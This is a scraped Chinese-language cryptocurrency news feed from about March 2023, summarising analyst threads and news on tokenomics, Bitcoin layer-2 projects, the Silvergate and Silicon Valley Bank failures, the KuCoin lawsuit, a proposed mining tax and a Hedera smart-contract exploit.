    Chainfeeds 导读： Verum Capital 根据加密 KOL Sectio Divina 的上个周期 CMC 100X 代币表格数据，及 Meassari 提供的这些代币在暴涨前的循环供应量数据，对这些百倍币进行代币经济模型解析，重点剖析了循环供应与 FDV 相比的表现。认为中等循环供应的项目可能会更好，因为它们融合了生态系统活力和不那么高稀释的代币经济学。注意：这不是投资建议。 文章来源： https://twitter.com/verumcapital/status/1633456999617773568 文章作者： Verum Capital 观点： Verum Capital：在 2021 年，根据 CMC，前 100 名中有 23 名 100X 的代币。前 300 名中则有 57 个 100X。但实际上有更多，因为 CMC 列出代币的时间很晚。100 X 名单上的数据分析突出了一个相当均匀的分布。在入场前（暴涨前的最低价格）的循环供应量与 FDV 相比：1）平均值：47%；2）中位数：50%；3）16 个代币低于 25%；4）21 个处于 25% 到 75% 之间；5）12 个超过 75%。【原文为英文】 内容来源 Verum Capital：得出结论：1）高循环的百倍币之所以这么少是因为项目要么太旧，要么没有通过代币经济学激励它们的生态系统。2）低循环的百倍币数量很大，是因为看涨解锁，在牛市环境下，代币解锁不是看跌事件，因为代币会被转移给更有信心的投资者。3）高度稀释的代币经济学会导致糟糕的价格表现。需要注意：这种分析是幸存者偏差，所以任何结论 / 假设都不该认为是确定性的。【原文为英文】 内容来源 Verum Capital：可以概述两个策略：1）中长期视野下，项目不要有极度稀释的代币经济模型表现，需要有激励和生态活力以对创造对代币的强劲需求；2）短期（叙事交易）策略中，代币经济学应占更小的权重，因为解锁通常随着时间推移缓慢进行，但对于超低循环供应代币，短期内是否有重大解锁是很重要的。【原文为英文】 内容来源  ( 2 min )
    【英文长推】比特币「新文化」运动如何为比特币带来链上效用？
    Chainfeeds 导读： Ordinals、Stacks 及 Rollkit 代表了比特币前进的新道路，即比特币并不仅仅只是数字黄金。加密研究机构 Delphi Digital 撰文对比特币「新文化」运动的进展及意义进行了解读。 文章来源： https://twitter.com/Delphi_Digital/status/1633875872972406785 文章作者： Delphi Digital 观点： Delphi Digital：目前已经有超 365,000 个比特币 Ordinals 被铸造，Ordinal 理论为每个比特币指定了一个独特的数字和元数据，在功能上使其成为了 NFT。而这也吸引了 NFT 领域 IP 缔造者 Yuga Labs 的注意，基于 Ordinal 协议在比特币区块链上推出 NFT 系列 TwelveFold。【原文为英文】 内容来源 Delphi Digital：Rollkit 是由 Celestia 团队创建的一个模块化 Rollup 框架，使开发人员能够插入自定义执行层和数据可用性层。且其为比特币推出了一个模块，主权 Rollup 可以管理自己的执行层并继承比特币的可用性保障和安全保障。这使得在比特币上运行 EVM 作为 Rollkit 主权 Rollup 成为可能。【原文为英文】 内容来源 Delphi Digital：Stacks 是一个能够运行智能合约的层，其交易会在每个比特币区块上自动结算，其共识机制为 PoX。用户可向矿工支付费用以发送交易或在 Stacks 上部署智能合约。且 STX 持有者可以通过锁仓赚取 BTC。此外，用户可通过将 BTC 发送至比特币上的多签钱包铸造无需信任的双向比特币挂钩代币 sBTC。Stacks 还可以和 Rollkit 结合运作，使用 Stacks 合约作为主权 Rollup 的执行层，以便在主权 Rollup 中使用 sBTC，数据可用性则来自于比特币。【原文为英文】 内容来源  ( 2 min )
    【英文】欧元稳定币 $EURS 偿付能力或受市场波动影响？其发行商在财务方面应更加透明化
    Chainfeeds 导读： 加密 KOL LlamaRisk 对市值最大的欧元稳定币 $EURS 发行商 Stasis 长期低息债券配置表示担忧，认为其会在利率上升环境中大幅贬值，于是撰推发文解析 $EURS 及 Stasis 的现存财务风险，认为 Stasis 应该在财务和运营方面坚持更高的透明度标准。 文章来源： https://twitter.com/LlamaRisk/status/1633916033886199808 文章作者： LlamaRisk 观点： LlamaRisk：$EURS 的治理由 Stasis 3/7 多重签名国库钱包控制。我们对 Stasis 的主要担忧是最近对长期低息债券的配置，这些资金占 $EURS 支持资金的 93% 以上，并且在利率上升的环境中大幅贬值。Stasis 会计明显不承认这些市场波动。【原文为英文】 内容来源 LlamaRisk：我们和 Stasis 讨论了这个问题，他们在 3 月 7 日发布的最新季度报表显示已经清算了整个债券投资组合。这使我们担心已实现的亏损可能影响 $EURS 的偿付能力。最近的财务报告显示，$EURS 完全得到支持。我们担心贷款注入的现金可能会弥补资金短缺。我们就此事对 Stasis 发出质疑，但他们拒绝置评。【原文为英文】 内容来源  ( 2 min )
    HashKey Capital 研究报告：2023 年值得关注的 5 大技术热点
    Chainfeeds 导读： HashKey Capital 撰文概述 2023 年值得关注的 5 大技术趋势，分别为以太坊升级、质押相关技术、模块化区块链、ZK 及钱包和应用端应用。 文章来源： https://www.hashkey.com/cn/insights/hashkey-capital-2023-top-tech-trend-to-watch 文章作者： Hashkey Capital 观点： Hashkey Capital：1）以太坊的重大升级（Shanghai，Cancun）：上海升级将开放提款，预计 Staking 的量会上升，Staking 项目的竞争也会激烈。坎昆升级包括 Proto-Danksharding 及优化 EVM；2）质押相关的技术、产品和服务：包括改善质押代币的流动性、去中心化质押产品改进、Eigenlayer 的「二次质押」、DVT 及质押收入稳定化解决方案等； 内容来源 Hashkey Capital：3）模块化区块链的改进和特定应用的 Rollup 发展：更多的 Layer2、Subnet 及 L3；4）ZK 其他非扩展应用，特别是 ZK Bridges；5）AA+MPC 和闪电网络的迭代，为终端用户提供其他技术。 内容来源
    解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌
    Chainfeeds 导读： 美国中小银行接连暴雷， Silvergate Bank 宣布清盘，Silicon Valley Bank 疑似存在流动性问题。究竟发生了什么？深潮 TechFlow 作者 0xmin 撰文对银行商业模式进行了解读，并对 Silvergate Bank 和 Silicon Valley Bank 的银行危机进行是如何发生的进行了分析。 文章来源： https://mp.weixin.qq.com/s/s5VrEb6gzc8lxwGXQQv2JA 文章作者： 0xmin 观点： 0xmin：银行从存款人或资本市场处拿到钱然后将它贷给借款人，从利息差中获利。而当银行遭遇危机时，通常意味着两种情况，坏账或期限错配。期限错配是指资产端期限和负债端期限不匹配，主要表现为短存长贷，而 Silvergate 和硅谷银行也正是因为期限错配才陷入危机。归根究底，这背后都与美联储加息相关，他们都是美元周期下的尸体。 内容来源 0xmin：2020 年三季度到 2021 年四季度，Silvergate 存款直接增长接近 7 倍。但也正是因为这样让 Silvergate 负债端急剧扩张，倒逼其在 2021 年期间购买了数十亿美元的长期市政债券和抵押支持证券（MBS）。而 2022 年，美联储进入疯狂加息模式导致债券价格下降。而且偏偏这个时候，Silvergate 的大客户 FTX 暴雷。2022 年第四季度，Silvergate 的提款超过 80 亿美元。流动性危机来临，Silvergate 别无选择，要么借钱，要么卖资产。 内容来源 0xmin：SVB 流动性危机也几乎一样，但其规模和影响力更大。导火索是其抛售了 210 亿美元债券造成 18 亿美元亏损。SVB 表示将通过出售股票的方式筹资 23 亿美元。于是银行挤兑来临。分析其资产负债表我们发现截至 2021 年低，其负债端资产为 1892 亿美元。资产端类似 Silvergate Bank，也选择购买 MBS 等债券，问题的关键是他近乎是梭哈了。随着利率飙升，债券价格下跌将造成硅谷银行的亏损。 内容来源  ( 33 min )
    【英文长推】Arbitrum 生态值得关注的 5 个新项目：Arcadeum、Roseon、FactorDAO......
    Chainfeeds 导读： Arbitrum 生态 TVL 仍在不断不断攀升，还有哪些新兴项目值得关注呢？加密研究员 Crypto Nova 盘点了 5 个 Arbitrum 生态值得关注的新项目。 文章来源： https://twitter.com/CryptoGirlNova/status/1633897861002960898 文章作者： Crypto Nova 观点： Crypto Nova：1）Arcadeum：Arbitrum 生态去中心化赌场，用户可以完全控制自己的资金，投注在区块链上进行处理。目前市值为 500 万；2）Roseon：Arbitrum 生态游戏化多链现货和期货 DEX，希望能够通过添加链游元素使其更具吸引力，目前市值为 500 万；【原文为英文】 内容来源 Crypto Nova：3）FactorDAO：Arbitrum 生态去中心化资产管理协议，目前市值为 450 万美元；4） WINR：为链上流动性和激励设计的项目；5）yieldification：Arbitrum 生态真实收益 DeFi 协议，目前市值为 800 万。【原文为英文】 内容来源  ( 2 min )
    【英文】以太坊 rollup VS. 主权 rollup，主权 rollup 能否构成新结算层的基础？
    Chainfeeds 导读： 近期以太坊以及其他社区在寻求一种模块化（和分层）的区块链可扩展性方法，但主权 rollup 可以构成新结算层的基础吗？Infura 研究员 Partrick McCorry 从 rollup 安全性出发，撰文分析 rollup 能否继承比特币的安全性，并将主权 rollup 和以太坊 rollup 对比，认为比特币这种原生资产不能以不信任的方式转移到主权 rollup 中，但它确实允许在比特币之上出现一个生态系统，同时允许比特币用于支付网络费用。 文章来源： https://stonecoldpat.substack.com/p/settlement-layers-ethereum-rollups 文章作者： Partrick McCorry 观点： Partrick McCorry：虽然比特币和以太坊都可以作为数据可用性（DA）层（在某种程度上），但在结算层方面它们并不共享相同的功能，有一个小的差异对 rollup 的安全性有巨大的影响。在评估 rollup 的安全性时需要考虑两个关键因素：验证桥和诚实的协助者。而四个属性共同决定链的安全性：1）重组抵抗力；2）抗审查性；3）DA；4）有效性。【原文为英文】 内容来源 Partrick McCorry：比特币被视为缺乏任何形式计算的 DA 层，但 Taproot Wizards 的兴起、Eric Wall 的演讲以及现在 RollKit 的发布表明可以在比特币上构建不同类型的 rollup。什么是主权 rollup？1）「主权」部分是依靠外部社区运行客户端，该客户端可以获取并解析数据 blob，并计算链下数据库。2）主权 rollup 的安全性不取决于谁或如何将数据发布到底层区块链，而是经济代理商（agent）如何解析已发布的数据以及谁来决定解析数据的规则。【原文为英文】 内容来源 Partrick McCorry：主权 rollup 和以太坊 rollup 相比：1）在主权 rollup 中，决定规则集和链下数据库的信任根源取决于社区。如果存在共识分叉，则在 rollup 上铸造的资产将在不同的分叉之间复制，并且由外部桥运营商选择其中一个分叉。2）在验证桥中，共识分叉是不可能的。由智能合约决定规则集、链下数据库，并最终保护所有本地桥接到 rollup 上的资产。【原文为英文】 内容来源 Partrick McCorry：主权 rollup = 结算层？问题实际上是决定谁该负责验证数据。在主权 rollup 的世界中，我们需要信任底层区块链的诚实多数来对数据 blob 进行排序和另一组各方来保护数据 blob 解析方式的完整性。所以需要一种方法来跨数百数千个 rollup 部署扩展这个人工过程，这个方法称为「验证 rollup」，一个项目只需部署一个验证桥，就可以解决找一个诚实的协助者来帮助桥的问题。【原文为英文】 内容来源  ( 26 min )
    Filecoin 虚拟机 FVM 将于 3 月 14 日在 Filecoin 主网启动
    Filecoin 虚拟机 FVM 将于 3 月 14 日在 Filecoin 主网启动 Filecoin 发布推特称，与以太坊兼容的 Filecoin 虚拟机 FVM 将于 3 月 14 日在 Filecoin 主网启动，届时任何用户都可以与 Filecoin 状态互动。虽然 FVM 不直接与 Filecoin 网络上数据互动，但可以协调数据存储、编辑和维护地点和方式，并让 Data DAO 和可编程存储市场等概念有望成为现实。Filecoin 表示，通过 FVM，开发人员能够创建数据中心逻辑，产生新的存储原语及其相关规模经济。此外，FVM 最终还将支持为各种执行环境编写的角色，包括 SES、eBPF 和编译为 WebAssembly 的角色。 内容来源  ( 2 min )
    【长推】Gitcoin Presents 纪念 NFT 爆火的背后思考
    Chainfeeds 导读： 去中心化捐赠平台 Gitcoin 推出的 Gitcoin Presents 纪念系列 NFT 在停止铸造后引发市场抢购。加密研究员鸭鸭撰文解析了其爆火的背后因素，包括团队、创作者、历史 Vitalik 参与过的 NFT 拍卖及资金分配。 文章来源： https://twitter.com/0x_irisl/status/1633842976169558024 文章作者： 鸭鸭 观点： 鸭鸭：1）团队：本次活动由 Metalabel 和 Gitcoin 合作发行，Metalabel 可以理解为跨界资源整合类平台，售卖「Record」形式 NFT。团队包括 Kickstarter 联合创始人 Yancey Strickler、etsy 创始人 Rob Kalin、策展人 Anna Bulbrook 等；2）创作者：一篇 Vitalik 和其他两位作者 Zoë Hitzig 及 Glen E. Weyland 撰写的学术论文，两篇 Gitcoin 联创 Kevin Owocki 和 Scott Moore 的作品，均定价 0.05ETH。此外还包括 12 份额外的签名限量款拍卖，定价 10 ETH。 内容来源 鸭鸭：3）历史：一个类似的项目是 2021 年 7 月的「Cryptomother」拍卖，Vitalik 实体原作签名负数一个 NFT，由 Venue 负责拍卖。另外一个类似的是 2020 年 Vitalik 的 Quadratic Funding，这幅 1/1 作品最终以 77.35 ETH 成交；4）资金分配上： 70% 分配至 Gitcoin，20% 归 Plurality Institute 所有，剩余 10% 则分配给 Metalabel。 内容来源  ( 2 min )
    【英文长推】Lead Bank 首席执行官：银行挤兑危机会如何影响储户？
    Chainfeeds 导读： Silvergate 暴雷后，Silicon Valley Bank 也遭遇了流动性危机，周四股价暴跌 60%，创下历史最大跌幅。Lead Bank 首席执行官 Jackie Reses 撰文解析了银行倒闭后的接管流程及对储户的影响。 文章来源： https://twitter.com/jackiereses/status/1633985785295966209 文章作者： Jackie Reses（Lead Bank 首席执行官） 观点： Jackie Reses（Lead Bank 首席执行官）：在银行倒闭的情况下，联邦存款保险公司（FDIC）会进行接管，类似于破产管理，他们会安抚存款人以便不会进一步出现流动性问题。这里会存在一个还款顺序，美国联邦住宅贷款银行（FHLB）、管理费用、25 万美元以下的被保险存款，随后他们会处置资产，减去偿还债务的费用。【原文为英文】 内容来源 Jackie Reses（Lead Bank 首席执行官）：很多情况下，比较好的结果是银行归还所有存款，监管机构找到另外一家银承担剩余存款。当没有银行收购剩余存款时，FDIC 将直接向储户支付每个账户中的保险余额，这些流程通常在银行倒闭后的几天内进行。如果 FDIC 不愿意接管，银行会准备一份清算计划供监管机构签署。但银行必须先安抚存款人和债权人。如果储户会被亏空，该计划就不会被批准。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文盘点未来几个月具有强大催化剂的 30 个协议：Lido、Velodrome、Radiant......
    Chainfeeds 导读： 加密 KOL Thor Hartvigsen 盘点了未来几个月具有强大催化剂的 30 个协议，列举各个协议近期发展动态。 文章来源： https://twitter.com/ThorHartvigsen/status/1633776677909315585 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Lido：V2 升级允许任何人通过模块化的即插即用模型成为节点运营商。2）Velodrome：2.0 版本将在第一季度推出，具有交易对自定义和交易费可调整功能。3）Radiant：V2 版本将在数周后引入，跨链扩展（首先是 BNB 链），以及更多用于借贷的资产。4）Fantom：fUSD v2 及 FVM 的发布，主网将于年底启动。5）Rocket Pool：Atlas 升级，用户可以仅用 8 ETH 质押。【原文为英文】 内容来源 Thor Hartvigsen：6）PlutusDAO：PLS V2 版本代币经济模型将发布。7）GMX：V2 升级将引入大量新的可交易资产。8）Optimism：OP Stack 和 Base 的构建。9）Trader Joe：跨链扩展到 BNB 链，流动性账簿 V2 发布。10）Rage Trade：金库中的 GLP 风险升级，对冲交易商 PnL；跨链扩展。11）Synapse：构建以太坊原生 OP rollup（Synapse 链）；跨链消息传输。13）Frax：FIP-188 提案通过，$FRAX 将完全抵押。【原文为英文】 内容来源 Thor Hartvigsen：14）Pendle：与 GLP 跨链到 Arbitrum，并将添加 gDAI 等其他资产。15）Synthetix：V3 版本允许 ETH 和其他资产作为合成资产的抵押品，LP 有流动性分配权。16）Conic：高收益的更广泛采用 ，新增资产。17）Dopex： rDPX v2 能够以 rDPX 作为抵押品的一部分来铸造合成代币。18）Polygon：其 zkEVM 将于 3 月 27 号在主网上启动。19）dYdX：正在推出其原生的基于 Cosmos SDK 构建的应用链（v4）。【原文为英文】 内容来源 Thor Hartvigsen：20）Curve：crvUSD 即将发布。21）Camelot：集成更多协议，发布带有「插件」的 xGRAIL 的改进版本。22）Lyra：Newport 升级，与 GMX 永续期权集成部署到 Arbitrum。23）Cosmos：链间安全（ICS）将于 3 月 15 日启动。24）MakerDAO：Spark 协议的第一个产品推出，发行支持 $DAI 的原生 ETH LSD EtherDAI。 内容来源  ( 2 min )
    Circle 1 月审计报告：在多家受监管金融机构中存有储备金，包括 Silicon Valley Bank
    Circle 1 月审计报告：在多家受监管金融机构中存有储备金，包括 Silicon Valley Bank 据德勤审计的 Circle 1 月审计报告显示，Circle 在美国多家受监管的金融机构中存有储备金，包括纽约梅隆银行、Citizens Trust Bank、Customers Bank、New York Community Bank、Signature Bank、Silicon Valley Bank 和 Silvergate Bank 等。Silicon Valley Bank 母公司 SVB 金融集团股价于周四下跌逾 60%，盘后进一步下跌近 20%。 内容来源  ( 25 min )
    硅谷银行股价暴跌 60%，Founders Fund 等基金建议客户从该银行撤资
    硅谷银行股价暴跌 60%，Founders Fund 等基金建议客户从该银行撤资 据彭博社援引人士报道，由「硅谷教父」Peter Thiel 共同创立的风险投资基金 Founders Fund 建议企业从硅谷银行撤资，原因是担心其财务稳定性。该银行的母公司 SVB 金融集团的股价在周四暴跌逾 60%，并出售了其投资组合中几乎所有可供出售的证券。据彭博社报道，SVB 领跌 KBW 银行指数，该指数创下 2020 年 6 月以来的最大跌幅。摩根大通和富国银行等银行跌幅超过 5%。 内容来源  ( 2 min )
    拜登公布 6.9 万亿美元的 2024 年预算提案：财务部提议对加密矿企的供电成本征收 30% 的消费税
    拜登公布 6.9 万亿美元的 2024 年预算提案：财务部提议对加密矿企的供电成本征收 30% 的消费税 美国总统拜登公布了 6.9 万亿美元的 2024 年预算提案，财政部提议对加密矿企的供电成本征收 30% 的消费税，该税将在未来三年内分阶段实施，每年增加 10%，这些公司还被要求报告他们使用了多少电力以及使用了什么类型的电力。 内容来源  ( 143 min )
    Block.one 已退出 Silvergate 股权头寸，损失约 8300 万美元
    Block.one 已退出 Silvergate 股权头寸，损失约 8300 万美元 据 Decrypt 报道，Block.one 表示在 Silvergate 近期宣布无法按时向美国证券交易委员会提交年度报告并表示将关闭 SEN 网络之后，Block.one 退出了其股权头寸，出售了其在 Silvergate Bank 的所有股权。据提交给美国证券交易委员会的文件，到去年年底，Block.one 首席执行官布伦丹・布鲁默 (Brendan Blumer) 及其公司持有 Silvergate Bank 9.9% 的股份，当时价值约 9500 万美元。截至 Block.one 表示退出其股权时，Silvergate 的股价收于 5.69 美元，Block.one 的头寸价值约为 1800 万美元，这意味着 Blumer 和 Block.one 在该投资上损失了大约 8300 万美元。 内容来源  ( 26 min )
    纽约总检察长对 KuCoin 提起诉讼，并寻求法院命令阻止 KuCoin 在纽约运营
    纽约总检察长对 KuCoin 提起诉讼，并寻求法院命令阻止 KuCoin 在纽约运营 纽约总检察长 Letitia James 对 KuCoin 提起诉讼，指控其未注册为证券和商品经纪商并谎称自己为交易所。通过该诉讼，Letitia James 寻求法院命令阻止 KuCoin 在纽约运营，并指示 KuCoin 根据 IP 地址和 GPS 定位实施地理封锁以阻止用户在纽约访问 KuCoin 移动应用程序、网站及服务。请愿书表示，ETH 就像 LUNA 和 UST 一样是一种投机性资产，因此 KuCoin 在进行销售之前需要进行注册。且 KuCoin 还以 KuCoin Earn 的形式出售未注册证券。此外，KuCoin 声称自己是一家交易所，但并没有在证券交易委员会注册为国家证券交易所，也没有按照纽约法律的要求由商品期货交易委员会适当指定，也没有遵守 OAG 发出的传票提供有关在该州的数字资产交易活动的更多信息。 内容来源 观点： Letitia James（纽约总检察长）：我的办公室正在对那些公然无视我们的法律并将投资者置于风险之中的加密货币公司采取行动，今天的行动是我们努力为该行业带来秩序的最新行动。所有纽约人和所有在纽约经营的公司都必须遵守我们州的法律和法规，而 KuCoin 在没有注册的情况下在纽约运营，我们不得不采取强有力的措施来追究他们的责任并保护投资者。【原文为英文】 内容来源  ( 11 min )
    ZK 偿付能力证明公司 Proven 完成 1580 万美元种子轮融资，Framework Ventures 领投
    ZK 偿付能力证明公司 Proven 完成 1580 万美元种子轮融资，Framework Ventures 领投 提供零知识证明技术以使加密货币公司能够证明偿付能力的公司 Proven 完成 1580 万美元种子轮融资，Framework Ventures 领投，Balaji Srinivasan、Roger Chen 和 Ada Yeo 等天使投资人参投。所筹资金将用于扩大开发团队。 据 The Block 介绍，Proven 希望能够提供一种验证储量证明的替代方式，其所谓的「偿付能力证明」生成能够让公司在不需要公开披露其资产负债表的情况下显示资产和负债。 截止目前，Proven 已经将 Coinlist 和 Bitso 等列为用户。 内容来源 观点： Richard Dewey（Proven 联合创始人 ）：如何在保持隐私的情况下促进与客户的信任关系一直以来都困扰着传统金融和数字资产公司。Proven 的目的是让客户和监管机构重新信任交易所和其他公司，同时保护客户隐私。【原文为英文】 内容来源  ( 215 min )

  • Open

    如何通过工具来追踪加密 VC 的市场动向？
    如何通过工具来追踪加密 VC 的市场动向？ – 深潮TechFlow 撰写：Rekt Fencer Read the full entry  ( 3 min )
    如何通过工具来追踪加密 VC 的市场动向？
    如何通过工具来追踪加密 VC 的市场动向？ – 深潮TechFlow 撰写：Rekt Fencer Read the full entry  ( 3 min )
    a16z一年工作总结：从“指标 > 团队 > 想法”到寻找创业真相
    a16z一年工作总结：从“指标 > 团队 > 想法”到寻找创业真相 – 深潮TechFlow 撰写：Robin Guo，a16z 游戏投资员 Read the full entry  ( 3 min )
    a16z一年工作总结：从“指标 > 团队 > 想法”到寻找创业真相
    a16z一年工作总结：从“指标 > 团队 > 想法”到寻找创业真相 – 深潮TechFlow 撰写：Robin Guo，a16z 游戏投资员 Read the full entry  ( 3 min )
    解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌
    解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌 – 深潮TechFlow 撰文：0xmin Read the full entry  ( 4 min )
    解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌
    解密 Silvergate 与硅谷银行危机：一场美元加息周期下的豪赌 – 深潮TechFlow 撰文：0xmin Read the full entry  ( 4 min )

  • Open

    美国总统拜登预算提议对加密挖矿用电量征收30%的税
    PANews 3月10日消息，据Cointelegraph报道，美国总统拜登在其政府的2024财年预算中提议分阶段对加密货币挖矿电力成本征收30%的税。美国财政部3月9日发布的一份补充预算解释文件称，任何使用资源的公司（无论是自有还是租赁）都将“缴纳相当于数字资产挖矿所用电力成本30%的消费税” 。 它建议该税将在2023年12月31日之后的纳税年度实施，并以每年10%的税率分三年分阶段实施，到第三年达到最高30%。加密矿工将需要报告“使用的电量和类型以及电量的价值”。获得离网电力需求的加密货币矿工仍需缴纳税款，并且需要估算任何“发电厂”产生的电力成本。 此前昨日消息，美国总统拜登将在预算提案中结束对加密货币等投资者的税收减免。  ( 4 min )
    Bakkt去年第四季度收入同比增长14%，商誉减值费用约2.72亿美元
    PANews 3月10日消息，据The Block报道，数字资产平台Bakkt报告称，去年第四季度收入为1560万美元，低于FactSet预计的1600万美元，但仍同比增长14%。调整后的EBITDA为负3050万美元，同比增长30.3%。运营费用从8600万美元增至3.41亿美元，同比增加近3倍，其中非现金商誉和无形资产减值费用约为2.72亿美元。据此前消息，Bakkt表示将于3月16日正式停用其消费者应用程序，以专注于其企业对企业（B2B）技术解决方案。  ( 4 min )
    Bittrex：已开始将客户存款转移到其他合作金融机构，客户资金仍然安全
    PANews 3月10日消息，加密交易所Bittrex推特发文称，鉴于Silvergate Bank宣布将停止运营，Bittrex已开始将客户的存款转移到其他合作金融机构。由于Bittrex与多个金融机构保持合作关系，预计客户存取款不会受到任何影响。客户资金仍然安全。  ( 4 min )
    Hedera：已关闭主网网络代理，网络服务不可访问
    PANews 3月10日消息，据官方消息，Hedera推特发文称，已关闭主网上的网络代理。核心团队正在处理智能合约异常状况。一旦问题解决，将重新启用代理。在此期间网络服务将不可访问，包括钱包、去中心化和中心化交易所、去中心应用程序等。  ( 4 min )
    Starbucks Odyssey发布首个NFT系列“Siren Collection”，18分钟内售罄
    PANews 3月10日消息，星巴克Web3忠诚度计划Starbucks Odyssey发布了首个限量版NFT系列“Siren Collection”。该系列共有2000件作品，主题为星巴克标志性的海妖，每个NFT定价100美元。Starbucks Odyssey会员可以从美国东部时间下午12点开始每人购买两个作品，并可以通过信用卡或连接他们的MetaMask钱包付款。该系列在18分钟内售罄，目前正在二级市场上销售，当前地板价为450美元。  ( 4 min )
    纽约总检察长起诉KuCoin提供未注册证券，称“以太币属于证券”
    PANews 3月10日消息，据CoinDesk报道，美国纽约州总检察长Letitia James周四对加密交易所KuCoin提起诉讼，指控其提供未注册的证券和商品。该诉讼是纽约州监管机构发起的“未注册加密平台整顿行动”的一部分。该诉讼还指控以太币、Luna和TerraUSD都属于证券。此外，James还认为，KuCoin通过其借贷和质押产品KuCoin Earn销售未注册证券。James寻求获得法院命令，以阻止KuCoin在纽约州运营，并指示KuCoin实施基于IP地址和GPS位置的地理屏蔽，以阻止纽约州居民访问KuCoin的应用程序和服务。  ( 4 min )
    Hedera：核心团队正在积极调查智能合约异常状况
    PANews 3月10日消息，Hedera官方推特发文称，核心团队正在积极调查已发现的智能合约异常状况。他们直接与整个DeFi生态系统的团队合作，以确定原因和潜在影响。据此前消息，DeFi研究员Ignas推特发文表示，Hedera正在遭受攻击。所有使用Hedera代币服务 (HTS) 的Hedera dApp，如LP代币或封装代币都会受到影响。攻击者已经攻击了包含封装资产的Pangolin和HeliSwap池。该漏洞针对智能合约中的反编译过程。  ( 4 min )
    Block.one：已清仓Silvergate股份，旗下加密交易所Bullish对Silvergate没有风险敞口
    PANews 3月10日消息，据CoinDesk报道，区块链软件公司Block.one表示，在Silvergate上周无法提交年报后，已清仓了持有的Silvergate股份。Block.one还表示，旗下加密交易所Bullish对Silvergate没有风险敞口。Silvergate的控股公司周三宣布，该银行将“自愿清算”其资产并停止运营。去年11月，Block.one及其首席执行官Brendan Blumer购买了Silvergate Capital 9.27%的股份，并在12月增持至9.9%，成为该银行最大的股东之一。  ( 4 min )
    Blockchain.com将暂停运营资产管理部门
    PANews 3月10日消息，据彭博社报道，Blockchain.com将暂停其资产管理部门业务。一份文件显示，Blockchain.com资产管理公司（BCAM）周一已申请取消注册，该公司目前尚未提交任何年度账目。BCAM于2022年4月推出，不久后宏观经济状况迅速恶化。该公司一位发言人在电子邮件中表示：“随着加密货币冬天已持续近一年，我们做出了暂停运营该部门的商业决定。”据此前消息，Blockchain.com今年1月表示将裁员28%，约110名员工。去年7月，在三箭资本(Three Arrows Capital)倒闭后，该公司裁员约150名员工。  ( 4 min )
    Silvergate Capital股价开盘暴跌超30%，目前股价位于3.4美元附近
    PANews 3月9日消息，美股行情显示，Silvergate Capital今日开盘后暴跌超30%，目前股价位于3.4美元附近。 今日早些时候，Silvergate Capital宣布将结束运营并自愿清算银行，包括全额偿还所有存款。  ( 4 min )
    美联储副主席：美联储组建了一个研究加密货币创新的团队
    PANews 3月9日消息，据金十报道，美联储负责金融监管的副主席巴尔表示，加密技术仍具有“潜在的变革性”，但需要保持“适当的边界”。银行应谨慎对待加密货币。直接持有加密货币的银行会被认为是不安全的。美联储组建了一个研究加密货币创新的团队。美联储正在加强其加密货币监管能力，并计划继续发布关于加密货币的指导意见。加密投资者通常缺乏足够的信息来评估风险。 巴尔表示，一些加密货币除了所有者的信念之外，“没有内在价值”。美联储正在研究银行如何安全地参与到加密货币领域。美联储正在组建专门的团队，跟进加密领域的进展。由于网络的存在，稳定币可以得到迅速发展，可能带来造成巨大市场扰乱的风险。  ( 4 min )
    Web3艺术平台Wild完成由Matrix Partners领投的700万美元融资
    PANews 3月9日消息，据The Block报道，Web3 艺术平台 Wild 筹集了由 Matrix Partners 领投的 700 万美元种子资金。女演员格温妮丝·帕特洛 (Gwyneth Paltrow)、领英 (LinkedIn) 联合创始人里德·霍夫曼 (Reid Hoffman) 和 Twitch 联合创始人凯文·林 (Kevin Lin) 也参加了去年年底结束的这一轮融资。 这家初创公司将利用这笔资金进一步扩大其驻地并投资于基础设施以为其体验艺术提供动力。无需连接钱包，即可通过浏览器内体验访问 Wild 的许多收藏。  ( 4 min )
    以合规为中心的DEX Mauve完成1500万美元融资，Coinbase Ventures等参投
    PANews 3月9日消息，据The Block报道，为去中心化金融提供合规和身份基础设施的 Violet 推出了以合规为重点的去中心化交易所 Mauve。Coinbase Ventures 和 Brevan Howard 加入了 DEX（Mauve） 的 1500 万美元融资轮。Ethereal Ventures、BlueYard Capital 和 Balderton 是其他支持者。Violet 计划利用筹集的资金加速 Mauve 的全球采用。 Violet 成立于 2021 年，是为 DeFi 和更广泛的 Web3 领域提供合规性和身份基础设施的领先供应商。Mauve 的开发者是世界上第一个专为合规而打造的去中心化交易所 (DEX)，Violet 正积极致力于构建解决方案，以恢复全球对加密货币的信任。  ( 4 min )
    Hedera正遭受攻击，似乎所有dApp智能合约都已暂停
    PANews 3月9日消息，DeFi研究员Ignas发推表示，Hedera 正在遭受攻击。所有使用 Hedera 代币服务 (HTS) 的 Hedera dApp，如 LP 代币或包装代币都会受到影响。攻击者已经攻击了包含包装资产的 Pangolin 和 HeliSwap 池。建议：“现在把你的资金拿出来。” 该漏洞针对智能合约中的反编译过程。桥接代币已被 Hashport 冻结，因此用户现在无法桥接到其他链。Hedera dApps 锁定的总价值正在快速下降。从 Discord 的讨论来看，似乎切换到 HBAR 可能是最好的选择。但情况仍不明朗。似乎所有智能合约都已暂停。“Hedera Network 正在中断。” HBAR 基金会发推表示：“我们注意到网络异常正在影响各种 Hedera dApp 及其用户。基金会正在与受影响的合作伙伴进行沟通。我们正在监控并努力帮助解决问题。”  ( 4 min )
    ZK技术公司Proven完成1580万美元种子轮融资，Framework Ventures领投
    PANews 3月9日消息，据The Block报道，提供零知识证明技术以使加密货币公司能够证明偿付能力的公司 Proven 完成 1580 万美元种子轮融资，由 Framework Ventures 领投，Balaji Srinivasan、Roger Chen 和 Ada Yeo 等天使投资人参投。 Proven 可能希望它可以提供一种替代方法来验证储备证明，并且到目前为止，种子阶段的初创公司将 Coinlist 和 Bitso 等公司视为客户。它希望将交易所、资产管理者和托管人作为潜在客户，并将利用这笔资金扩大其开发团队。  ( 4 min )
    PA日报｜Silvergate Capital将结束运营并自愿清算银行；腾讯幻核APP将于6月30日下线
